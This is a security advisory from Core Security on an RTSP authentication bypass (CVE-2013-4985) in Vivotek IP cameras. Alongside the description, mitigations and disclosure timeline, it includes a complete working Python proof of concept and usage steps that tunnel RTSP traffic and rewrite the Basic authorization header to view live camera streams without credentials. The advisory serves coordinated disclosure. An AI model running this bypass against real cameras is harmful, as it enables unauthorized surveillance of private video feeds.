Core Security - Corelabs Advisory
http://corelabs.coresecurity.com

Vivotek IP Cameras RTSP Authentication Bypass


1. *Advisory Information*

Title: Vivotek IP Cameras RTSP Authentication Bypass
Advisory ID: CORE-2013-0704
Advisory URL:
http://www.coresecurity.com/advisories/vivotek-ip-cameras-rtsp-authentication-bypass
Date published: 2013-11-05
Date of last update: 2013-11-05
Vendors contacted: Vivotek
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Authentication issues [CWE-287]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4985


3. *Vulnerability Description*

A security vulnerability was found in Vivotek IP cameras [1] that could
allow an unauthenticated remote attacker to bypass the RTSP basic
authentication and access the video stream.


4. *Vulnerable Packages*

   . Vivotek IP cameras with firmware 0105a.
   . Vivotek IP cameras with firmware 0105b.
   . This vulnerability was tested against Vivotek IP cameras IP7160,
IP7361 and IP8332. Other Vivotek cameras and firmware are probably
affected too, but they were not checked.


5. *Vendor Information, Solutions and Workarounds*

Vendor released the beta firmware 0301c [2] and notifies that it should
be the formal release [2013-10-28]; contact vendor for further
information. Some mitigation actions for this issue may be:

   . Do not expose the camera to internet unless absolutely necessary.
   . Filter RTSP traffic (default port 554) if possible.


6. *Credits*

This vulnerability was discovered and researched by Martin Di Paola from
Core Security QA Team. The PoC of was made by Martin Di Paola with help
of Martin Rocha from Core Development Team. The publication of this
advisory was coordinated by Fernando Miranda from Core Advisories Team.


7. *Technical Description / Proof of Concept Code*

7.1. *RTSP Authentication Bypass*

This vulnerability is triggered by sending specially crafted RTSP
packets to remote TCP port 554. In order to run the proof of concept,
follow the next steps:

   1. Set the camera RTSP authentication to 'basic'.
   2. (Assuming that the camera is located in 192.168.1.1) Run 'poc.py'
with these parameters: 'python poc.py 9999 192.168.1.1 554'
   3. Open a VLC media player and go to: 'Media > Open Network Stream'.
   4. Enter the following network URL: 'rtsp://localhost:9999/live.sdp'.
   5. A dialog box will asks for user/password, just click 'OK'.
   6. You should see the RTSP live video stream; i.e., the RTSP basic
authentication can by bypassed by a remote attacker.

/-----
#
# poc.py
#
# The contents of this software are copyright (c) 2013 CORE Security and
(c) 2013 CoreLabs,
# and are licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 (United States)
# License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
#
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
# WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI Inc. BE LIABLE
# FOR ANY DIRECT,  INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR
# CONSEQUENTIAL  DAMAGES RESULTING FROM THE USE OR MISUSE OF
# THIS SOFTWARE.
#

import sys
from socket import *
from threading import Thread
import time

LOGGING = 1

def log(s):
    if LOGGING:
        print '(%s) %s' % (time.ctime(), s)


class UDPRequestHandler(Thread):
    def __init__(self, data_to_send, recv_addr, dst_addr):
        Thread.__init__(self)
        self.data_to_send = data_to_send
        self.recv_addr = recv_addr
        self.dst_addr = dst_addr

    def run(self):
        sender = socket(AF_INET, SOCK_DGRAM)
        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        sender.sendto(self.data_to_send, self.dst_addr)
        response = sender.recv(1024)
        sender.sendto(response, self.recv_addr)
        sender.close()


class UDPDispatcher(Thread):
    dispatchers = []

    def __has_dispatcher_for(self, port):
        return any([d.src_port == port for d in UDPDispatcher.dispatchers])

    def __init__(self, src_port, dst_addr):
        Thread.__init__(self)
        if self.__has_dispatcher_for(src_port):
            raise Exception('There is already a dispatcher for port %d'
% src_port)
        self.src_port = src_port
        self.dst_addr = dst_addr
        UDPDispatcher.dispatchers.append(self)

    def run(self):
        listener = socket(AF_INET, SOCK_DGRAM)
        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        listener.bind(('', self.src_port))
        while 1:
            try:
                data, recv_addr = listener.recvfrom(1024)
                if not data: break
                UDPRequestHandler(data, recv_addr, self.dst_addr).start()
            except Exception as e:
                print e
                break
        listener.close()
        UDPDispatcher.dispatchers.remove(self)


class PipeThread(Thread):
    pipes = []

    def __init__(self, source, sink, process_data_callback=lambda x: x):
        Thread.__init__(self)
        self.source = source
        self.sink = sink
        self.process_data_callback = process_data_callback
        PipeThread.pipes.append(self)

    def run(self):
        while 1:
            try:
                data = self.source.recv(1024)
                data = self.process_data_callback(data)
                if not data: break
                self.sink.send(data)
            except Exception as e:
                log(e)
                break
        PipeThread.pipes.remove(self)


class TCPTunnel(Thread):
    def __init__(self, src_port, dst_addr, process_data_callback=lambda
x: x):
        Thread.__init__(self)
        log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,
dst_addr[0], dst_addr[1]))
        self.dst_addr = dst_addr
        self.process_data_callback = process_data_callback
        # Create TCP listener socket
        self.sock = socket(AF_INET, SOCK_STREAM)
        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        self.sock.bind(('', src_port))
        log('[*] Check live stream in rtsp://localhost:%d/live.sdp' %
src_port)
        self.sock.listen(5)

    def run(self):
        while 1:
            # Wait until a new connection arises
            newsock, address = self.sock.accept()
            # Create forwarder socket
            fwd = socket(AF_INET, SOCK_STREAM)
            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
            fwd.connect(self.dst_addr)
            # Pipe them!
            PipeThread(newsock, fwd, self.process_data_callback).start()
            PipeThread(fwd, newsock, self.process_data_callback).start()


class Camera():
    def __init__(self, address):
        self.address = address

    def get_describe_data(self):
        return ''


class Vivotek(Camera):
    def __init__(self, address):
        Camera.__init__(self, address)

    def get_describe_data(self):
        return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP
server\r\nc=IN IP4 0.0.0.0\r\nt=0
0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video
0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96
MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96
profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio
0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97
mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15;
mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3;
IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'


class RTSPAuthByPasser():
    DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'
    UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'
    SERVER_PORT_ARGUMENTS = 'server_port='
    DEFAULT_CSEQ = 1
    DEFAULT_SERVER_PORT_RANGE = '5556-5559'

    def __init__(self, local_port, camera):
        self.last_describe_req = ''
        self.camera = camera
        self.local_port = local_port

    def start(self):
        log('[!] Starting bypasser')
        TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()

    def spoof_rtsp_conn(self, data):
        auth_string = "Authorization: Basic"
        if auth_string in data:
            data = data.split("\r\n")
            new_data = []
            for line in data:
                new_data.append(line if auth_string not in line else
auth_string + " a")
            data = "\r\n".join(new_data)
        return data


if __name__ == '__main__':
    if len(sys.argv) > 1:
        listener_port = camera_port = int(sys.argv[1])
        camera_ip = sys.argv[2]
        if len(sys.argv) == 4:
            camera_port = int(sys.argv[3])
        RTSPAuthByPasser(listener_port, Vivotek((camera_ip,
camera_port))).start()
    else:
        print 'usage: python %s [local_port] [camera_ip]
[camera_rtsp_port]'

-----/


8. *Report Timeline*

. 2013-07-04:
Core Security Technologies attempts to report the vulnerability.
Publication date set to July 30th, 2013.

. 2013-07-08:
Core attempts to contact vendor.

. 2013-07-22:
Core attempts to contact vendor.

. 2013-07-30:
First release date missed.

. 2013-07-30:
Core notifies the Vivotek team of the vulnerability.

. 2013-08-01:
Vendor asks for a report with technical information.

. 2013-08-01:
Technical details sent to Vivotek team.

. 2013-08-05:
Core asks for a status update.

. 2013-08-05:
Vendor notifies that the reported issue is being evaluated.

. 2013-08-12:
Core asks for a status update and re-schedules the advisory publication
for Aug 28th.

. 2013-08-15:
Vendor notifies that authentication in RTSP streaming is disabled by
default and the reported issue is not a vulnerability.

. 2013-08-27:
Core notifies that the PoC was tested against Vivotek IP cameras IP7160,
IP8332 and IP7361, with basic authentication enabled, and all targets
were vulnerable. Core re-sends a PoC and additional technical details.

. 2013-08-28:
Vendor confirms the issue and notifies that a patched firmware will be
released in the future.

. 2013-08-28:
Second release date missed.

. 2013-09-02:
Core asks for a specific release date and re-schedules the advisory
publication for Sep 11th.

. 2013-09-03:
Vendor notifies that they have a solution that is being tested. The
solution will be released in the newest models first.

. 2013-09-09:
Core asks for a status update regarding the release date.

. 2013-09-10:
Vendor notifies that the testing process will probably finish before
Sep. 27th.

. 2013-09-11:
Third release date missed.

. 2013-09-30:
Core asks for a status update.

. 2013-09-30:
Vendor notifies that they found other issues on this version and asks
for delaying the release.

. 2013-10-17:
Core asks for a status update and a tentative release date.

. 2013-10-17:
Vendor notifies that a firmware beta version is being tested [2].

. 2013-10-28:
Core notifies that the advisory was re-scheduled to be published next
Tuesday and that date should be considered final.

. 2013-10-28:
Vendor notifies that the firmware beta release 0301c [2] should be the
formal release.

. 2013-11-05:
Advisory CORE-2013-0704 published.


9. *References*

[1] http://www.vivotek.com/web/product/NetworkCameras.aspx
[2]
ftp://fae:fae@ftp.vivotek.com/Firmware/IP8332/Beta/IP8332-VVTK-0301c.flash.pkg


10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.